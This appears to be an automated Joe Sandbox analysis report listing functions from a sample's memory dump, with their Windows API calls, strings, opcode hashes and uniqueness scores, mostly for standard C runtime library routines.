Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CB58
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CB6A
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CB7C
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CB8E
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CBA0
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CBB2
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CBC4
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CBD6
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CBE8
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CBFA

_free.LIBCMT ref: 00C0D93E

Part of subcall function 00C068D3: HeapFree.KERNEL32(00000000,00000000,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?), ref: 00C068E9
Part of subcall function 00C068D3: GetLastError.KERNEL32(?,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?,?), ref: 00C068FB

_free.LIBCMT ref: 00C0D960
_free.LIBCMT ref: 00C0D975
_free.LIBCMT ref: 00C0D980
_free.LIBCMT ref: 00C0D9A2
_free.LIBCMT ref: 00C0D9B5
_free.LIBCMT ref: 00C0D9C3
_free.LIBCMT ref: 00C0D9CE
_free.LIBCMT ref: 00C0DA06
_free.LIBCMT ref: 00C0DA0D
_free.LIBCMT ref: 00C0DA2A
_free.LIBCMT ref: 00C0DA42

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: f85be829f4f7ce287ffdfbed14e7e86ac1273130e8b587c4b3ccb1d4f04f0e12
Instruction ID: 607504510c1307fa83b807e6065146562317f7a9e6df82c0fabb7989bb9cf499
Opcode Fuzzy Hash: f85be829f4f7ce287ffdfbed14e7e86ac1273130e8b587c4b3ccb1d4f04f0e12
Instruction Fuzzy Hash: 07314B716043059FEF21AEB8D845B5BB3E9AF01310F248529E06AD75D1DF70AE90EB61

Uniqueness

Uniqueness Score: 0.13%

Function 00BF9228, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308UNIQUELIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00BF9323
type_info::operator==.LIBVCRUNTIME ref: 00BF934A
___TypeMatch.LIBVCRUNTIME ref: 00BF9456
CatchIt.LIBVCRUNTIME ref: 00BF94AB
IsInExceptionSpec.LIBVCRUNTIME ref: 00BF9531
_UnwindNestedFrames.LIBCMT ref: 00BF95B8
CallUnexpected.LIBVCRUNTIME ref: 00BF95D3

Strings

csm, xrefs: 00BF9263
csm, xrefs: 00BF9381
csm, xrefs: 00BF92D0

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: 0a027dfe4aa2309597be32abb0c24f837e99d7ba04097b5d6851c64a3ec1fb03
Instruction ID: f7c2b181d66c032a9a2ba5ee28d2bb08bfbb99aae25cf3e54286a5837609e32a
Opcode Fuzzy Hash: 0a027dfe4aa2309597be32abb0c24f837e99d7ba04097b5d6851c64a3ec1fb03
Instruction Fuzzy Hash: 9BC1587180021DEBCF2ADFA4C881ABEBBF5EF14710F04419AEA156B252D731DA59CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00C0A8AF, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301UNIQUELIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00C0AB50, 00C0AB55

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 570f5b81e476fa1a65a240fe253a221ad7229ef2365b5b064c8c3829101e4759
Instruction ID: 391c64f0a742cf0fb5a24551d6fae802f2430dc72a43555a704a6cdffbc5f5c0
Opcode Fuzzy Hash: 570f5b81e476fa1a65a240fe253a221ad7229ef2365b5b064c8c3829101e4759
Instruction Fuzzy Hash: 67C1F270E043499FDF15DFA9C880BADBBB1BF49310F058169E915AB3D2C7749A42CB62

Uniqueness

Uniqueness Score: 100.00%

Function 00C13F7A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C13CC1: CreateFileW.KERNEL32(00000000,00000000,?,00C14023,?,?,00000000,?,00C14023,00000000,0000000C), ref: 00C13CDE

GetLastError.KERNEL32 ref: 00C1408E
__dosmaperr.LIBCMT ref: 00C14095
GetFileType.KERNEL32(00000000), ref: 00C140A1
GetLastError.KERNEL32 ref: 00C140AB
__dosmaperr.LIBCMT ref: 00C140B4
CloseHandle.KERNEL32(00000000), ref: 00C140D4
CloseHandle.KERNEL32(00000000), ref: 00C14221
GetLastError.KERNEL32 ref: 00C14253
__dosmaperr.LIBCMT ref: 00C1425A

Strings

H, xrefs: 00C141DF

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 1e0b9e660b60c5d86f29c94a5d4905d95a221d31e81f1134e1ab24f539f62cd6
Instruction ID: 0938a889df2910a86b5b856621748e54d7018f119a2ef7843dfa6526a49ac79a
Opcode Fuzzy Hash: 1e0b9e660b60c5d86f29c94a5d4905d95a221d31e81f1134e1ab24f539f62cd6
Instruction Fuzzy Hash: C8A10432A142589FCF199F68DC51BEE7BB1AB0B324F24425DE811EB3D1C7358A82E751

Uniqueness

Uniqueness Score: 0.14%

Function 00C06E55, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C06E6B

Part of subcall function 00C068D3: HeapFree.KERNEL32(00000000,00000000,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?), ref: 00C068E9
Part of subcall function 00C068D3: GetLastError.KERNEL32(?,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?,?), ref: 00C068FB

_free.LIBCMT ref: 00C06E77
_free.LIBCMT ref: 00C06E82
_free.LIBCMT ref: 00C06E8D
_free.LIBCMT ref: 00C06E98
_free.LIBCMT ref: 00C06EA3
_free.LIBCMT ref: 00C06EAE
_free.LIBCMT ref: 00C06EB9
_free.LIBCMT ref: 00C06EC4
_free.LIBCMT ref: 00C06ED2

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 808cfbfc69a1b12a5e72823e52e7b74093c0918b8cddc36dda96fd49723ddb4d
Instruction ID: 667e9f93011a62e7e5057601139498e488cade416ceae74d7003fa784922560d
Opcode Fuzzy Hash: 808cfbfc69a1b12a5e72823e52e7b74093c0918b8cddc36dda96fd49723ddb4d
Instruction Fuzzy Hash: A4218376D0411CBFCF41EFA4C881DDE7BB9AF09340B0082A6B5159B1A2DB71EA64DB91

Uniqueness

Uniqueness Score: 0.02%

Function 00BF01D0, Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 389UNIQUE

Download Yara Rule

Strings

value, xrefs: 00BF0F5C
array, xrefs: 00BF08F5
object, xrefs: 00BF10E5
object key, xrefs: 00BF1067
,, xrefs: 00BF1158
object separator, xrefs: 00BF0FE9

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID: ,$array$object$object key$object separator$value
API String ID: 0-1191195158
Opcode ID: 26bdfcf14b17995f07cc2295c4edb23dc6255c9303d705a1154f212fdd22a935
Instruction ID: 587f849bea792fb755b9a177cbb5f05750cbeb07e0a5ad53d11d957073abc571
Opcode Fuzzy Hash: 26bdfcf14b17995f07cc2295c4edb23dc6255c9303d705a1154f212fdd22a935
Instruction Fuzzy Hash: C602697090429CDFDB20EB64C885BEEFBF4AF15304F1485D9D549A7282DB706A88CFA1

Uniqueness

Uniqueness Score: 100.00%

Function 00BF69F0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120UNIQUE

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BF6A27
___except_validate_context_record.LIBVCRUNTIME ref: 00BF6A2F
_ValidateLocalCookies.LIBCMT ref: 00BF6AB8
__IsNonwritableInCurrentImage.LIBCMT ref: 00BF6AE3
_ValidateLocalCookies.LIBCMT ref: 00BF6B38

Strings

csm, xrefs: 00BF6ACD

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1c5675d2d53e7076c4b609e517a009ed6d235e7b5b23df8068dfdcd5ef50706a
Instruction ID: 358242bf45b365f570b0d0577b7431275f0d709c80e7c447f9a41c40d4acf70f
Opcode Fuzzy Hash: 1c5675d2d53e7076c4b609e517a009ed6d235e7b5b23df8068dfdcd5ef50706a
Instruction Fuzzy Hash: 4D419234A0020CABCF10DF68C885AAEBBF5EF45314F14C195EE15AB392D771EA19CB90

Uniqueness

Uniqueness Score: 100.00%

Function 00C0955F, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00C095B6
ext-ms-, xrefs: 00C095CA

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 18334ea15d77d771d333526d9d8795c4bf28f14080941645c8e6fa609d3ff6b8
Instruction ID: 46a068609b11858998a63379e9ea804ee3d0ac870edd73294ed240fc60c476de
Opcode Fuzzy Hash: 18334ea15d77d771d333526d9d8795c4bf28f14080941645c8e6fa609d3ff6b8
Instruction Fuzzy Hash: AE21E771A05620EBCB328B269C95B5E3768EF52B60F250220FD26A72D3D631DE00D6D0

Uniqueness

Uniqueness Score: 0.38%

Function 00C0D4E6, Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C0D232: _free.LIBCMT ref: 00C0D257

_free.LIBCMT ref: 00C0D534

Part of subcall function 00C068D3: HeapFree.KERNEL32(00000000,00000000,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?), ref: 00C068E9
Part of subcall function 00C068D3: GetLastError.KERNEL32(?,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?,?), ref: 00C068FB

_free.LIBCMT ref: 00C0D53F
_free.LIBCMT ref: 00C0D54A
_free.LIBCMT ref: 00C0D59E
_free.LIBCMT ref: 00C0D5A9
_free.LIBCMT ref: 00C0D5B4
_free.LIBCMT ref: 00C0D5BF

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 084be014b57c9f392aec073f6a7128653e534da61f4d2bc4e9e29790ebdef3b4
Instruction ID: 56955bcdcf579eca3fd71b788ea813ec6987de44be321843d8929bca334c310c
Opcode Fuzzy Hash: 084be014b57c9f392aec073f6a7128653e534da61f4d2bc4e9e29790ebdef3b4
Instruction Fuzzy Hash: 9F116A71585B04EADA20BBF0DC07FCB779DAF01700F408C25B29BA60D2DA24FA15E765

Uniqueness

Uniqueness Score: 0.02%

Function 00C08032, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00C01707,00000000,?), ref: 00C0807A
__fassign.LIBCMT ref: 00C08259
__fassign.LIBCMT ref: 00C08276
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C082BE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00C082FE
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C083AA

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: ebd4bcd1c19ade7974fd106217de7acebe6861305b71e7734b2de3ad5921053f
Instruction ID: c5bd36593be7589d1657f2db8b5d0360eb90a660ef24981f47cd895384faa0f3
Opcode Fuzzy Hash: ebd4bcd1c19ade7974fd106217de7acebe6861305b71e7734b2de3ad5921053f
Instruction Fuzzy Hash: E2D19E71D002589FCF15CFA8C980AEDBBB5BF48710F288169E895F7391DA309A4ACF50

Uniqueness

Uniqueness Score: 0.81%

Function 00BEB390, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 491UNIQUE

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00BEB5A7
___std_exception_destroy.LIBVCRUNTIME ref: 00BEB5BD
___std_exception_destroy.LIBVCRUNTIME ref: 00BEB9F7
___std_exception_destroy.LIBVCRUNTIME ref: 00BEBA0D

Strings

value, xrefs: 00BEB4FA, 00BEB93B

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ___std_exception_destroy
String ID: value
API String ID: 4194217158-494360628
Opcode ID: 23600c08db850a826eef536de007d7ad6c5b446380cdb6ac3df89bb0d96ca2a4
Instruction ID: 5e83a61e19299f295bd9a121b3db0772a3785394698c7f9229cdfd1bd9de971c
Opcode Fuzzy Hash: 23600c08db850a826eef536de007d7ad6c5b446380cdb6ac3df89bb0d96ca2a4
Instruction Fuzzy Hash: FC22AF709002998FDF28DF25C894BEEBBB5AF45300F1482D9E459A7782DB749E88CF51

Uniqueness

Uniqueness Score: 100.00%

Function 00C0305C, Relevance: 9.2, APIs: 6, Instructions: 221COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C030EC
_free.LIBCMT ref: 00C03107
_free.LIBCMT ref: 00C03112
_free.LIBCMT ref: 00C0321F

Part of subcall function 00C06876: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C0710F,00000001,00000364,00000006,000000FF,?,?,?,00C0185C,00C06950), ref: 00C068B7

_free.LIBCMT ref: 00C031F4

Part of subcall function 00C068D3: HeapFree.KERNEL32(00000000,00000000,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?), ref: 00C068E9
Part of subcall function 00C068D3: GetLastError.KERNEL32(?,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?,?), ref: 00C068FB

_free.LIBCMT ref: 00C03215

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$Heap$AllocateErrorFreeLast
String ID:
API String ID: 4150789928-0
Opcode ID: 188f701c1f77bcc6224be510d04dfff20d4149ac8fcf7266c66637a36a71e207
Instruction ID: f4e03a2dbb0f6a43463a6a98fcdf4cb4d8cbfc8558b47b9c3b2591ca089e64a0
Opcode Fuzzy Hash: 188f701c1f77bcc6224be510d04dfff20d4149ac8fcf7266c66637a36a71e207
Instruction Fuzzy Hash: 56519C3AA042506BDF14AFB89842BBE77ADDF85710F244059F951DB2C2EA32DF02D360

Uniqueness

Uniqueness Score: 0.02%

Function 00BE9CB0, Relevance: 9.1, APIs: 6, Instructions: 118COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BE9CF0
std::_Lockit::_Lockit.LIBCPMT ref: 00BE9D12
std::_Lockit::~_Lockit.LIBCPMT ref: 00BE9D32
__Getctype.LIBCPMT ref: 00BE9DCB
std::_Facet_Register.LIBCPMT ref: 00BE9DEA
std::_Lockit::~_Lockit.LIBCPMT ref: 00BE9E02

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 1f6fdf7a85c295be51d438303d8b6d4f35065f8f32fa54da0ec65ce4528030d5
Instruction ID: 497f865854fdfc3e542e6445b5b2a792faa6ce3cb32a494ac86e942776d4078e
Opcode Fuzzy Hash: 1f6fdf7a85c295be51d438303d8b6d4f35065f8f32fa54da0ec65ce4528030d5
Instruction Fuzzy Hash: DE419D71900668DBCB21DF19DC81BAEB7F4EB14710F2481B9E945AB391EB30AD49CBD1

Uniqueness

Uniqueness Score: 1.47%

Function 00BF8EBA, Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BF8EB1,00BF70D0,00BF4FB8), ref: 00BF8EC8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BF8ED6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BF8EEF
SetLastError.KERNEL32(00000000,00BF8EB1,00BF70D0,00BF4FB8), ref: 00BF8F41

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d2c1b4ab2e239666d12ad2f9bec2c4ffc0c82e029dc89cc3d048ff36f3c5f082
Instruction ID: 0ff35470c733b2c47776e5ef3c32264a80b3b42210eb917b2698d786ea231223
Opcode Fuzzy Hash: d2c1b4ab2e239666d12ad2f9bec2c4ffc0c82e029dc89cc3d048ff36f3c5f082
Instruction Fuzzy Hash: E401FC322293195D97241775BCC5B7E2AD5EB0637473007AAF314674E0EF618C0BA145

Uniqueness

Uniqueness Score: 0.24%

Function 00BF9F8E, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00BFA04F,?,?,00C2F874,00000000,?,00BFA17A,00000004,InitializeCriticalSectionEx,00C1E0F4,00C1E0FC,00000000), ref: 00BFA01E

Strings

api-ms-, xrefs: 00BF9FDE

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 618ef789e296b8d996ae03dba93b441024c7406551fe7c9303ccd79e43cf37e2
Instruction ID: 220693adcf47c12b3ac8785cf9a9b3fe128e4262c9080a749a0d108a57310455
Opcode Fuzzy Hash: 618ef789e296b8d996ae03dba93b441024c7406551fe7c9303ccd79e43cf37e2
Instruction Fuzzy Hash: 1611E371A01229EBCB224B78AC447AD37E4EF06760F2541A0EB04FB280DA75FC0896D2

Uniqueness

Uniqueness Score: 1.64%

Function 00C02B9F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderUNIQUELIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00C02B94,00000000,?,00C02B5C,?,?,00000000), ref: 00C02BB4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00C02BC7
FreeLibrary.KERNEL32(00000000,?,?,00C02B94,00000000,?,00C02B5C,?,?,00000000), ref: 00C02BEA

Strings

mscoree.dll, xrefs: 00C02BAD
CorExitProcess, xrefs: 00C02BBF

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 425b2059c6e8585c488e1117768be9ffac15a927e0e0901fb39e47eeeccf24d5
Instruction ID: e087d94d1b256f6d2e2df321670f806a1c78e09538c6883dcddf01da89afbe6f
Opcode Fuzzy Hash: 425b2059c6e8585c488e1117768be9ffac15a927e0e0901fb39e47eeeccf24d5
Instruction Fuzzy Hash: 96F01C31506219FBDF11AF91DC0EBDE7B68FB02755F248060E806A21A0CB709F41EA95

Uniqueness

Uniqueness Score: 100.00%

Function 00C049EC, Relevance: 7.8, APIs: 5, Instructions: 264COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C06F6D: GetLastError.KERNEL32(00000008,?,00000000,00C0C55A,00BF591B,00BF5961,?,00BF57A8,00000000), ref: 00C06F72
Part of subcall function 00C06F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00BF57A8,00000000), ref: 00C07010

_free.LIBCMT ref: 00C04CF9
_free.LIBCMT ref: 00C04D12
_free.LIBCMT ref: 00C04D50
_free.LIBCMT ref: 00C04D59
_free.LIBCMT ref: 00C04D65

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: d12cfb22ca7cfabd9b3543f976b9a6cca7387d74ad041b3771f0ef4f1b78d097
Instruction ID: ba9abc26b9586c74ae238fc9c3dfe0a02c77c7ecb04ca961ca1d1a9f05ac2e3c
